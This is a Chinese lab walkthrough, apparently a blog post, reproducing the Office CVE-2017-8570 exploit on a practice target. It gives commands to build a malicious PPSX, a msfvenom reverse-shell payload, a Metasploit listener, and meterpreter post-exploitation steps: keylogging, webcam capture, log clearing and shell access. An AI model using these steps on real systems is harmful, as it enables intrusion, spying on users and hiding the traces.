CVE-2017-8570漏洞是一个逻辑漏洞,利用方法简单,影响范围广。由于该漏洞和三年前的SandWorm(沙虫)漏洞非常类似,因此我们称之为“沙虫”二代漏洞。
编号
CVE-2017-8570
影响版本
Microsoft Office 2007 Service Pack 3 Microsoft Office 2010 Service Pack 2 (32-bit editions) Microsoft Office 2010 Service Pack 2 (64-bit editions) Microsoft Office 2013 RT Service Pack 1 Microsoft Office 2013 Service Pack 1 (32-bit editions) Microsoft Office 2013 Service Pack 1 (64-bit editions) Microsoft Office 2016 (32-bit edition) Microsoft Office 2016 (64-bit edition)
危害
2017年7月,微软在例行的月度补丁中修复了多个Microsoft Office漏洞,其中的CVE-2017-8570
漏洞为一个逻辑漏洞,利用方法简单
。网上已经出现该漏洞的利用代码,影响范围较广。
该漏洞为Microsoft Office的一个远程代码执行漏洞。其成因是Microsoft PowerPoint
执行时会初始化Script”Moniker
对象,而在PowerPoint
播放动画期间会激活
该对象,从而执行sct
脚本(Windows Script Component)文件。攻击者可以欺骗用户运行含有该漏洞的PPT文件,导致获取和当前登录用户相同的代码执行权限。
复现漏洞
这个漏洞并没有进行搭建环境,是因为有更好的选择,发现ichunqiu里面有靶机,可以进行练习。靶机链接(https://www.ichunqiu.com/vm/58919/1)
实验环境
-
操作机:
windows7 x64
-
IP:
172.16.11.2
-
目标机:
Kali Linux
-
IP:
172.16.12.2
实验步骤
步骤1:生成恶意的PPSX文件
我们首先使用Xshell
连接Kali机器,点击桌面Xshell
图标,输入IP:172.16.12.2
,账号为:root
密码:123456
,如图:
首先我们在Kali中执行如下命令:
cd CVE-2017-8570 //进入exploit的目录
python cve-2017-8570_toolkit.py -M gen -w orange.ppsx -u http://172.16.12.2/logo.doc //生成ppsx恶意文件
接下来将我们生成恶意PPSX
文件通过调用Powershell下载并执行。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.12.2 LPORT=4444 -f exe > /tmp/shell.exe
其中 -p
参数是 payload的意思,是使用windows的meterpreter的反弹文件-f
参数 指定输出文件后缀为exe文件再用>
重定向输出到tmp目录下
接下来输入如下命令:
python cve-2017-8570_toolkit.py -M exp -e http://172.16.12.2/shell.exe -l /tmp/shell.exe
这段命令是通过脚本在80端口监听,等待接收ppsx请求并下载执行我们的反弹文件
接下来进入Metasploit,新建一个Kali`172.16.12.2的连接,设置相关参数,接受返回的Shell
msfconsole use multi/handler //使用监听模块 set payload windows/meterpreter/reverse_tcp //设置Payload set LHOST 172.16.12.2 //设置本地接收IP run
可以看到我们的Metaspliot
已经在本地开启监听
到此我们的所有准备都做好,下一步我们模拟用户点击恶意文件
步骤2:目标机器执行恶意PPSX文件
我们使用桌面Xftp
软件,连接上目标机172.16.12.2
,将Invoice.ppsx文件拖到当前桌面上。
如图,他是一个PPT文件,我们模拟用户双击打开它。
执行过程中可以看到代码通过调用powershell
在远程下载执行我们的恶意文件,此时已经反弹回了shell
使用命令:
getuid //获取当前用户ID
这样就获取了目标机器的权限,可以通过Metasploit去执行命令。
至此这个漏洞复现完毕。
后续渗透
截图
meterpreter > screenshot
Screenshot saved to: /home/ctf/ccoDxgvg.jpeg
键盘记录
meterpreter > keyscan_start # 开启键盘记录 Starting the keystroke sniffer... meterpreter > keyscan_dump #查看键盘记录内容 Dumping captured keystrokes... ** -[ C:\soft\SogouExplorer\SogouExplorer.exe -[ @ 2017年8月13日 4:07:31 UTC **xiaojiejie chain<^H><^H><^H>inajoy meterpreter > keyscan_stop #关闭键盘记录
请除日志
`meterpreter > clearev``
关机
meterpreter > shutdown
截屏
meterpreter >screenshot
摄像头列表
meterpreter > webcam_list
打开摄像头
meterpreter > webcam_snap
禁止目标使用鼠标
meterpreter > uictl disable mouse
启用目标使用键盘
meterpreter > uictl enable keyboard
上传文件
meterpreter > upload /home/ctf/Desktop/快别看小姐姐了你被黑啦.txt C:\\users\\gg\\Desktop
把我们的友情提示上传到win7系统主人的 电脑桌面上
ctf@guoguang:~/Desktop$ cat 快别看小姐姐了你被黑啦.txt 整天不是逛B站 就是 逛A站 除了看小姐姐 还是看小姐姐!~~ (严肃脸)我只想对你说 4个字: 请带上我 meterpreter > upload /home/ctf/Desktop/快别看小姐姐了你被黑啦.txt C:\\users\\gg\\Desktop [*] uploading : home/ctf/Desktop/快别看小姐姐了你被黑啦.txt -> C:\users\gg\Desktop [*] uploaded : home/ctf/Desktop/快别看小姐姐了你被黑啦.txt -> C:\users\gg\Desktop\快别看小姐姐了你被黑啦.txt
shell
meterpreter > shell
shell
顾名思义就是shell
了,这个命令相当于完全控制了windows的cmd命令行,可以执行任意cmd操作,当然只要权限足够大的话。
任重而道远!